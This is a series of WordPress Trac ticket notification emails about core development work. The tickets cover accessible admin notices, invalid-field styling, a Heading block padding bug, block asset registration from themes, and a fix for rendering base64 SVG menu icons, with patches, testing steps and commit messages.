Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 5.1.1 Severity: normal | Resolution: Keywords: has-screenshots input- | Focuses: ui, accessibility, validation has-patch | javascript, administration -------------------------------------+------------------------------------- Changes (by afercia): * keywords: has-screenshots input-validation has-patch needs-testing => has-screenshots input-validation has-patch * status: closed => reopened * resolution: fixed => Comment: @peterwilsoncc thanks for your review and commit. I'm going to reopen this ticket because there are a few things I'd like to bring in for some better consideration. 1 > removed the new `wp-a11y` dependency for inclusion in #55537. The `ajax-response.js` script already contains two calls to `wp.a11y.speak`. They were added in a previous commit, see [52170]. However, that change missed to add the `wp-a11y` dependency. That's unsafe and should be fixed. There's no guarantee that #55537 will make it for 6.0. The dependency should have been kept or at least a new ticket should have been created. 2 > `validateForm` is used throughout the admin so trimming could cause false errors on other forms I'm not sure that's correct. In core, there are two JavaScript functions named `validateForm`: - `window.validateForm` in `common.js` - `window.wpAjax.validateForm` in `ajax-response.js` The first one is used here in `tags.js`. I couldn't find any other usage in core. I think it's safe to add `trim()`. If we don't, submitting the form with the 'Name' field that contains only spaces will display an admin notice at the top of the page but the red border will not be added to the input field. I'm not sure that would be a good experience for users. See attached screenshot. -- Ticket URL: <https://core.trac.wordpress.org/ticket/47018#comment:27> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 10:07:16 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 10:07:16 -0000 Subject: [wp-trac] [WordPress Trac] #47018: No error message provided upon incomplete input in Tags Administration Screen In-Reply-To: <053.f1bf88ff1edccbddf10be7d2b29a23ca@wordpress.org> References: <053.f1bf88ff1edccbddf10be7d2b29a23ca@wordpress.org> Message-ID: <068.217d94b878ca814a0664f01085bb383f@wordpress.org> #47018: No error message provided upon incomplete input in Tags Administration Screen -------------------------------------+------------------------------------- Reporter: conner_bw | Owner: peterwilsoncc Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 5.1.1 Severity: normal | Resolution: Keywords: has-screenshots input- | Focuses: ui, accessibility, validation has-patch | javascript, administration -------------------------------------+------------------------------------- Changes (by afercia): * Attachment "only spaces.png" added. Submitting the form with the Name field containing only spaces -- Ticket URL: <https://core.trac.wordpress.org/ticket/47018> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 10:21:34 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 10:21:34 -0000 Subject: [wp-trac] [WordPress Trac] #55537: Pair wpAjax admin notices with accessible audible messages In-Reply-To: <051.801e4da1ed093b92ced400777b1aabb1@wordpress.org> References: <051.801e4da1ed093b92ced400777b1aabb1@wordpress.org> Message-ID: <066.85127e926977cf12b1e384e237e4a368@wordpress.org> #55537: Pair wpAjax admin notices with accessible audible messages ----------------------------+---------------------------------------- Reporter: afercia | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Administration | Version: Severity: normal | Resolution: Keywords: | Focuses: accessibility, javascript ----------------------------+---------------------------------------- Changes (by afercia): * Attachment "55537.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55537> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 10:44:15 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 10:44:15 -0000 Subject: [wp-trac] [WordPress Trac] #55537: Pair wpAjax admin notices with accessible audible messages In-Reply-To: <051.801e4da1ed093b92ced400777b1aabb1@wordpress.org> References: <051.801e4da1ed093b92ced400777b1aabb1@wordpress.org> Message-ID: <066.dab11e555068d44993e70a275857a256@wordpress.org> #55537: Pair wpAjax admin notices with accessible audible messages ----------------------------------+---------------------------------------- Reporter: afercia | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Administration | Version: Severity: normal | Resolution: Keywords: has-patch needs- | Focuses: accessibility, javascript testing | ----------------------------------+---------------------------------------- Changes (by afercia): * keywords: => has-patch needs-testing Comment: [attachment:"55537.diff"] adds accessible audible messages to three more cases in `ajax-response.js` where admin notices are displayed, so that the visual notices are paired with audible messages. Following the code in `wpAjax.parseAjaxResponse`, see https://core.trac.wordpress.org/browser/trunk/src/js/_enqueues/lib/ajax- response.js?rev=52672&marks=20-67#L18 It first checks whether it's a `WP_Ajax_Response` xml response, handles the response and returns it. After that, there are 3 more cases: - `isNaN(x)`: the response is not a number. Rather, it's a string. Typically, a custom message passed to `wp_die()` e.g. `wp_die( __( 'Some error message' ) )`. - `-1 === x`: this is when `wp_die( -1 )` is used and it's associated with the default message 'Sorry, you are not allowed to do that.'. - `0 === x`: this is when `wp_die( 0 )` is used and it's associated with the default message 'Something went wrong.'. Worth noting that in all these three cases, the existing code already displays some text in an admin notice. This patch just uses the same text displayed in the admin notice to trigger an audible message for screen reader users via `wp.a11y.speak()`. Additionally: - Adds a missing script dependency. Note that this is tracked also in #47018. - Updates the CSS classes for the admin notices. `error` and `updated` are legacy classes and should not be used any longer. Since a few years, the admin notices use a new pattern e.g. `notice notice-error`, `notice notice-success`, etc. To test: I can't think of an easy way to test this other than altering the code. For example: - In the `wp_ajax_add_tag()` function, before the creation of the `WP_Ajax_Response` instance, add the following code: `wp_die( -1 );` - Go to the Categories or Tags page. - Submit the form. - Check an admin notice with text 'Sorry, you are not allowed to do that.' is displayed at the top of the page. - Use your browser's dev tools inspector and check the same text is in the ARIA live region with id `a11y-speak-polite`. - Change `wp_die( -1 );` to `wp_die( 0 );` and repeat the test. The message text will be 'Something went wrong.'. - Change `wp_die( 0 );` to `wp_die( __( 'My custom message' ) );` and repeat the test. Of course, the message text will be 'My custom message'. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55537#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 10:58:07 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 10:58:07 -0000 Subject: [wp-trac] [WordPress Trac] #55540: Heading block takes extra padding while adding a background Message-ID: <051.a477d6668e39dde7504b104a20d617f9@wordpress.org> #55540: Heading block takes extra padding while adding a background --------------------------+-------------------------------------- Reporter: kmadhak | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.3 Severity: major | Keywords: needs-patch needs-design Focuses: ui, css | --------------------------+-------------------------------------- Then we try to add a background colour in heading block in H1 then the extra padding got added and the text is visible in multiline, for more detail please find the attachment of the video and let me know if there is anything. WordPress Version:- 5.9.3 Theme:- Twenty Twenty One Plugin Details:- with and without Gutenberg plugin. Thank You. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55540> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 10:58:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 10:58:37 -0000 Subject: [wp-trac] [WordPress Trac] #55540: Heading block takes extra padding while adding a background In-Reply-To: <051.a477d6668e39dde7504b104a20d617f9@wordpress.org> References: <051.a477d6668e39dde7504b104a20d617f9@wordpress.org> Message-ID: <066.bf68e3ec9103a9d9ba5a959750eb43e9@wordpress.org> #55540: Heading block takes extra padding while adding a background --------------------------------------+------------------------------ Reporter: kmadhak | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.3 Severity: major | Resolution: Keywords: needs-patch needs-design | Focuses: ui, css --------------------------------------+------------------------------ Changes (by kmadhak): * Attachment "Recording #30.mp4" added. For better understanding I have attached a video -- Ticket URL: <https://core.trac.wordpress.org/ticket/55540> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 10:58:42 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 10:58:42 -0000 Subject: [wp-trac] [WordPress Trac] #55541: Update the styling for invalid form fields Message-ID: <051.f7b4bd47ed9a8ba17fb3e13a73854552@wordpress.org> #55541: Update the styling for invalid form fields ----------------------------+----------------------------- Reporter: afercia | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Administration | Version: Severity: normal | Keywords: Focuses: css | ----------------------------+----------------------------- Splitting this out from #47018. In a few places in the admin, a red border (actually a border and a box- shadow) are added to some form controls when submitting the form with some empty values. The style of this red border still uses some transparency and doesn't match any longer with the new style used, for example, for the focus style which is a 'solid' border with no transparency. For consistency, the red 'error' style should be updated. Here's a few places where the red error style can be checked: - The Categories and Tags pages. - The Edit Comment page, see the date and time small form under 'Submitted on'. - Same for the Classic Editor Edit post page. - The Menus page > create a new menu. See attached screenshots. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55541> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 10:59:41 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 10:59:41 -0000 Subject: [wp-trac] [WordPress Trac] #55541: Update the styling for invalid form fields In-Reply-To: <051.f7b4bd47ed9a8ba17fb3e13a73854552@wordpress.org> References: <051.f7b4bd47ed9a8ba17fb3e13a73854552@wordpress.org> Message-ID: <066.c4a183b26769533db504d7593d2e24d9@wordpress.org> #55541: Update the styling for invalid form fields ----------------------------+------------------------------ Reporter: afercia | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Administration | Version: Severity: normal | Resolution: Keywords: | Focuses: css ----------------------------+------------------------------ Changes (by afercia): * Attachment "categories.png" added. Error and focus style shapes mismatch -- Ticket URL: <https://core.trac.wordpress.org/ticket/55541> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 11:00:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 11:00:04 -0000 Subject: [wp-trac] [WordPress Trac] #55541: Update the styling for invalid form fields In-Reply-To: <051.f7b4bd47ed9a8ba17fb3e13a73854552@wordpress.org> References: <051.f7b4bd47ed9a8ba17fb3e13a73854552@wordpress.org> Message-ID: <066.cbd46d6665024bfeab38d145280149c2@wordpress.org> #55541: Update the styling for invalid form fields ----------------------------+------------------------------ Reporter: afercia | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Administration | Version: Severity: normal | Resolution: Keywords: | Focuses: css ----------------------------+------------------------------ Changes (by afercia): * Attachment "comments date time.png" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55541> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 11:00:26 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 11:00:26 -0000 Subject: [wp-trac] [WordPress Trac] #55541: Update the styling for invalid form fields In-Reply-To: <051.f7b4bd47ed9a8ba17fb3e13a73854552@wordpress.org> References: <051.f7b4bd47ed9a8ba17fb3e13a73854552@wordpress.org> Message-ID: <066.437b54ba69d7fe5ec08c6837180c48d2@wordpress.org> #55541: Update the styling for invalid form fields ----------------------------+------------------------------ Reporter: afercia | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Administration | Version: Severity: normal | Resolution: Keywords: | Focuses: css ----------------------------+------------------------------ Changes (by afercia): * Attachment "new menu.png" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55541> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 11:04:34 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 11:04:34 -0000 Subject: [wp-trac] [WordPress Trac] #55541: Update the styling for invalid form fields In-Reply-To: <051.f7b4bd47ed9a8ba17fb3e13a73854552@wordpress.org> References: <051.f7b4bd47ed9a8ba17fb3e13a73854552@wordpress.org> Message-ID: <066.e910b1f2f3839198b6cc755cf6e2eb2b@wordpress.org> #55541: Update the styling for invalid form fields ----------------------------+------------------------------ Reporter: afercia | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Administration | Version: Severity: normal | Resolution: Keywords: | Focuses: css ----------------------------+------------------------------ Changes (by afercia): * Attachment "55541.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55541> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 11:07:13 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 11:07:13 -0000 Subject: [wp-trac] [WordPress Trac] #55541: Update the styling for invalid form fields In-Reply-To: <051.f7b4bd47ed9a8ba17fb3e13a73854552@wordpress.org> References: <051.f7b4bd47ed9a8ba17fb3e13a73854552@wordpress.org> Message-ID: <066.ec851b3664ebcb62469457e50be31be0@wordpress.org> #55541: Update the styling for invalid form fields ----------------------------+------------------------------ Reporter: afercia | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Administration | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: css ----------------------------+------------------------------ Changes (by afercia): * keywords: => has-patch Comment: [attachment:"55541.diff"] - Updates the red border style used for the invalid form fields. To test: - Check all the forms mentioned in this ticket description. - Check the new red 'border' style matches the new 'solid' border pattern used for form fields. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55541#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 11:08:09 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 11:08:09 -0000 Subject: [wp-trac] [WordPress Trac] #55541: Update the styling for invalid form fields In-Reply-To: <051.f7b4bd47ed9a8ba17fb3e13a73854552@wordpress.org> References: <051.f7b4bd47ed9a8ba17fb3e13a73854552@wordpress.org> Message-ID: <066.3d1af37685f0cd4df32c5af5aba9f1da@wordpress.org> #55541: Update the styling for invalid form fields ----------------------------+------------------------------ Reporter: afercia | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Administration | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: css ----------------------------+------------------------------ Changes (by afercia): * Attachment "example new style.png" added. Example of the new style -- Ticket URL: <https://core.trac.wordpress.org/ticket/55541> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 11:09:51 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 11:09:51 -0000 Subject: [wp-trac] [WordPress Trac] #47018: No error message provided upon incomplete input in Tags Administration Screen In-Reply-To: <053.f1bf88ff1edccbddf10be7d2b29a23ca@wordpress.org> References: <053.f1bf88ff1edccbddf10be7d2b29a23ca@wordpress.org> Message-ID: <068.2472f38ac3eb4955fb5d0ff795888b04@wordpress.org> #47018: No error message provided upon incomplete input in Tags Administration Screen -------------------------------------+------------------------------------- Reporter: conner_bw | Owner: peterwilsoncc Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 5.1.1 Severity: normal | Resolution: Keywords: has-screenshots input- | Focuses: ui, accessibility, validation has-patch | javascript, administration -------------------------------------+------------------------------------- Comment (by afercia): Created a new ticket for the CSS change for invalid forms, see #55541. -- Ticket URL: <https://core.trac.wordpress.org/ticket/47018#comment:28> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 11:15:01 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 11:15:01 -0000 Subject: [wp-trac] [WordPress Trac] #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core In-Reply-To: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> References: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> Message-ID: <073.5d9b9eb69340ebfaf5c63f59c274e767@wordpress.org> #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core --------------------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by gziolo): In [changeset:"53090" 53090]: {{{ #!CommitTicketReference repository="" revision="53090" Editor: Add `localAutosaveInterval` preference to editor settings Backports changes from the Gutenberg plugin. Original PR in Gutenberg: https://github.com/WordPress/gutenberg/pull/39180. Props zieleadam, talldanwp. See #55505. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55505#comment:46> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 11:54:47 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 11:54:47 -0000 Subject: [wp-trac] [WordPress Trac] #54647: Blocks: Add support for themes to block API v2 with assets in block.json In-Reply-To: <057.04d95fbe984f01c6c75fb8f49f7a3983@wordpress.org> References: <057.04d95fbe984f01c6c75fb8f49f7a3983@wordpress.org> Message-ID: <072.1260ad792f188a56e6290a9e44041c5b@wordpress.org> #54647: Blocks: Add support for themes to block API v2 with assets in block.json -------------------------------------------------+------------------------- Reporter: whoisnegrello | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: 5.5 Severity: normal | Resolution: Keywords: has-patch needs-testing has-unit- | Focuses: tests needs-dev-note | -------------------------------------------------+------------------------- Changes (by gziolo): * keywords: has-patch needs-testing has-unit-tests => has-patch needs- testing has-unit-tests needs-dev-note -- Ticket URL: <https://core.trac.wordpress.org/ticket/54647#comment:16> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 11:55:43 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 11:55:43 -0000 Subject: [wp-trac] [WordPress Trac] #55540: Heading block takes extra padding while adding a background In-Reply-To: <051.a477d6668e39dde7504b104a20d617f9@wordpress.org> References: <051.a477d6668e39dde7504b104a20d617f9@wordpress.org> Message-ID: <066.834d34651d92212e6393a27fd6b23982@wordpress.org> #55540: Heading block takes extra padding while adding a background --------------------------------------+------------------------------ Reporter: kmadhak | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.3 Severity: major | Resolution: Keywords: needs-patch needs-design | Focuses: ui, css --------------------------------------+------------------------------ Comment (by kajalgohel): Hello @kmadhak thank you for pointing this out, I can reproduce the issue as well. I think this need to be addressed on Gutenberg side. Would you please generate this issue in GitHub , please? URL: https://github.com/WordPress/gutenberg/issues -- Ticket URL: <https://core.trac.wordpress.org/ticket/55540#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 11:57:33 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 11:57:33 -0000 Subject: [wp-trac] [WordPress Trac] #55513: Allow registration of blocks containing scripts / styles that need to get enqueued from within a Theme In-Reply-To: <055.8ccb3e670955a2f8f9871d3b93063155@wordpress.org> References: <055.8ccb3e670955a2f8f9871d3b93063155@wordpress.org> Message-ID: <070.b24e66092c15e7db1b4c65b787ae924c@wordpress.org> #55513: Allow registration of blocks containing scripts / styles that need to get enqueued from within a Theme -------------------------+------------------------------ Reporter: fabiankaegy | Owner: gziolo Type: enhancement | Status: closed Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Resolution: fixed Keywords: has-patch | Focuses: -------------------------+------------------------------ Changes (by gziolo): * owner: (none) => gziolo * status: new => closed * resolution: => fixed Comment: In [changeset:"53091" 53091]: {{{ #!CommitTicketReference repository="" revision="53091" Editor: Allow registration of blocks that include assets from within a theme Fixes the issue when you register blocks with `block.json` in your theme. There is no longer an assets's URL error because it resolves correctly in relation to the theme where it is located. Props fabiankaegy, ocean90, whoisnegrello, audrasjb, peterwilsoncc, Fixes #54647, #55513. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55513#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 11:57:34 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 11:57:34 -0000 Subject: [wp-trac] [WordPress Trac] #54647: Blocks: Add support for themes to block API v2 with assets in block.json In-Reply-To: <057.04d95fbe984f01c6c75fb8f49f7a3983@wordpress.org> References: <057.04d95fbe984f01c6c75fb8f49f7a3983@wordpress.org> Message-ID: <072.9b1110eac035c84e178d6aab76f3d8c0@wordpress.org> #54647: Blocks: Add support for themes to block API v2 with assets in block.json -------------------------------------------------+------------------------- Reporter: whoisnegrello | Owner: gziolo Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Editor | Version: 5.5 Severity: normal | Resolution: fixed Keywords: has-patch needs-testing has-unit- | Focuses: tests needs-dev-note | -------------------------------------------------+------------------------- Changes (by gziolo): * owner: (none) => gziolo * status: new => closed * resolution: => fixed Comment: In [changeset:"53091" 53091]: {{{ #!CommitTicketReference repository="" revision="53091" Editor: Allow registration of blocks that include assets from within a theme Fixes the issue when you register blocks with `block.json` in your theme. There is no longer an assets's URL error because it resolves correctly in relation to the theme where it is located. Props fabiankaegy, ocean90, whoisnegrello, audrasjb, peterwilsoncc, Fixes #54647, #55513. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54647#comment:17> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 11:59:06 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 11:59:06 -0000 Subject: [wp-trac] [WordPress Trac] #55513: Allow registration of blocks containing scripts / styles that need to get enqueued from within a Theme In-Reply-To: <055.8ccb3e670955a2f8f9871d3b93063155@wordpress.org> References: <055.8ccb3e670955a2f8f9871d3b93063155@wordpress.org> Message-ID: <070.e89190d5f98b67d3973554a62a2f188d@wordpress.org> #55513: Allow registration of blocks containing scripts / styles that need to get enqueued from within a Theme --------------------------------------+--------------------- Reporter: fabiankaegy | Owner: gziolo Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Changes (by gziolo): * keywords: has-patch => has-patch has-unit-tests * milestone: Awaiting Review => 6.0 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55513#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 12:19:09 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 12:19:09 -0000 Subject: [wp-trac] [WordPress Trac] #55540: Heading block takes extra padding while adding a background In-Reply-To: <051.a477d6668e39dde7504b104a20d617f9@wordpress.org> References: <051.a477d6668e39dde7504b104a20d617f9@wordpress.org> Message-ID: <066.c70d01823b1e43c1ce46c4d9588c3b25@wordpress.org> #55540: Heading block takes extra padding while adding a background --------------------------------------+------------------------------ Reporter: kmadhak | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.3 Severity: major | Resolution: Keywords: needs-patch needs-design | Focuses: ui, css --------------------------------------+------------------------------ Comment (by kmadhak): Hello @kajalgohel, Thanks for the update, I have reported the same issue in GitHub, here is the URL of the issue https://github.com/WordPress/gutenberg/issues/40144 Thank you. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55540#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 12:32:06 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 12:32:06 -0000 Subject: [wp-trac] [WordPress Trac] #55539: add_menu_page no longer renders base64 encoded SVG icon In-Reply-To: <053.d5a5893d33218f41e3150369f52a2087@wordpress.org> References: <053.d5a5893d33218f41e3150369f52a2087@wordpress.org> Message-ID: <068.edab862ad593dceec9c49a8359955994@wordpress.org> #55539: add_menu_page no longer renders base64 encoded SVG icon ------------------------------+----------------------------- Reporter: KProvance | Owner: SergeyBiryukov Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Administration | Version: trunk Severity: normal | Resolution: Keywords: has-patch commit | Focuses: administration ------------------------------+----------------------------- Changes (by mukesh27): * keywords: has-patch => has-patch commit * owner: (none) => SergeyBiryukov * status: new => assigned Comment: Hi there! Thank you for the ticket and patch. PR looks fine to me. **Testing for Trunk version** 1. Add the below code in theme function.php {{{#!php <?php function register_menu_with_custom_svg_icon() { //The icon in Base64 format $icon_base64 = 'PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4KPCEtLSBHZW5lcmF0b3I6IEFkb2JlIElsbHVzdHJhdG9yIDI2LjEuMCwgU1ZHIEV4cG9ydCBQbHVnLUluIC4gU1ZHIFZlcnNpb246IDYuMDAgQnVpbGQgMCkgIC0tPgo8c3ZnIHZlcnNpb249IjEuMSIgaWQ9IkxhZ2VyXzEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHg9IjBweCIgeT0iMHB4IgoJIHZpZXdCb3g9IjAgMCAyMCAyMCIgc3R5bGU9ImVuYWJsZS1iYWNrZ3JvdW5kOm5ldyAwIDAgMjAgMjA7IiB4bWw6c3BhY2U9InByZXNlcnZlIj4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KCS5zdDB7c3Ryb2tlOiNFMDEwMTA7c3Ryb2tlLXdpZHRoOjI7fQo8L3N0eWxlPgo8cGF0aCBjbGFzcz0ic3QwIiBkPSJNMCwyaDIwIE0wLDEwaDIwIE0wLDE4aDIwIi8+Cjwvc3ZnPgo='; //The icon in the data URI scheme $icon_data_uri = 'data:image/svg+xml;base64,' . $icon_base64; add_menu_page( 'Example', 'Example', 'manage_options', 'example', '', $icon_data_uri, ); } add_action( 'admin_menu', 'register_menu_with_custom_svg_icon' ); }}} 2. Icon is not visible for menu item. 3. Apply PR 4. Icon shows fine. ''Note: We have to add comment so other committer or contributor do not change it again.'' -- Ticket URL: <https://core.trac.wordpress.org/ticket/55539#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 12:51:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 12:51:02 -0000 Subject: [wp-trac] [WordPress Trac] #55539: add_menu_page no longer renders base64 encoded SVG icon In-Reply-To: <053.d5a5893d33218f41e3150369f52a2087@wordpress.org> References: <053.d5a5893d33218f41e3150369f52a2087@wordpress.org> Message-ID: <068.2043d1ee11c15afb8a7505732c247c6b@wordpress.org> #55539: add_menu_page no longer renders base64 encoded SVG icon ------------------------------+----------------------------- Reporter: KProvance | Owner: SergeyBiryukov Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Administration | Version: trunk Severity: normal | Resolution: Keywords: has-patch commit | Focuses: administration ------------------------------+----------------------------- Comment (by SergeyBiryukov): Hi there, welcome to WordPress Trac! Good catch, thanks for the ticket. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55539#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 12:52:46 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 12:52:46 -0000 Subject: [wp-trac] [WordPress Trac] #55539: add_menu_page no longer renders base64 encoded SVG icon In-Reply-To: <053.d5a5893d33218f41e3150369f52a2087@wordpress.org> References: <053.d5a5893d33218f41e3150369f52a2087@wordpress.org> Message-ID: <068.6c8c8e6cfa2202cef06e9fa3feae2fc9@wordpress.org> #55539: add_menu_page no longer renders base64 encoded SVG icon ------------------------------+----------------------------- Reporter: KProvance | Owner: SergeyBiryukov Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Administration | Version: trunk Severity: normal | Resolution: fixed Keywords: has-patch commit | Focuses: administration ------------------------------+----------------------------- Changes (by SergeyBiryukov): * status: assigned => closed * resolution: => fixed Comment: In [changeset:"53092" 53092]: {{{ #!CommitTicketReference repository="" revision="53092" Administration: Restore the correct escaping function for base64-encoded SVG icons in the admin menu. Add a comment to clarify the `esc_attr()` usage instead of `esc_url()`. Follow-up to [53050]. Props KProvance, kebbet, w33zy, ocean90, mukesh27. Fixes #55539. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55539#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 12:52:49 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 12:52:49 -0000 Subject: [wp-trac] [WordPress Trac] #6: the_excerpt() on non-excerpt posts doesn't stripslashes In-Reply-To: <059.e1130f083f80ebdd3e4a5beb19d38e3a@wordpress.org> References: <059.e1130f083f80ebdd3e4a5beb19d38e3a@wordpress.org> Message-ID: <074.693ecb5a07e2d37b83c0745afc2fb213@wordpress.org> #6: the_excerpt() on non-excerpt posts doesn't stripslashes --------------------------------------+--------------------- Reporter: anonymousbugger | Owner: ryan Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: Template | Version: Severity: minor | Resolution: fixed Keywords: has-patch has-unit-tests | --------------------------------------+--------------------- Comment (by prbot): ''This ticket was mentioned in [https://github.com/WordPress/wordpress- develop/pull/2531 PR #2531] on [https://github.com/WordPress/wordpress- develop/ WordPress/wordpress-develop] by [https://github.com/jsnajdr jsnajdr].'' Changes the REST endpoints that get preloaded when displaying a page for post, site and widgets editor, so that they are in sync with what the latest version of Gutenberg to be shipped with Core 6.0 really requests. This patch finished backport of the [https://github.com/WordPress/gutenberg/blob/trunk/lib/compat/wordpress-6.0 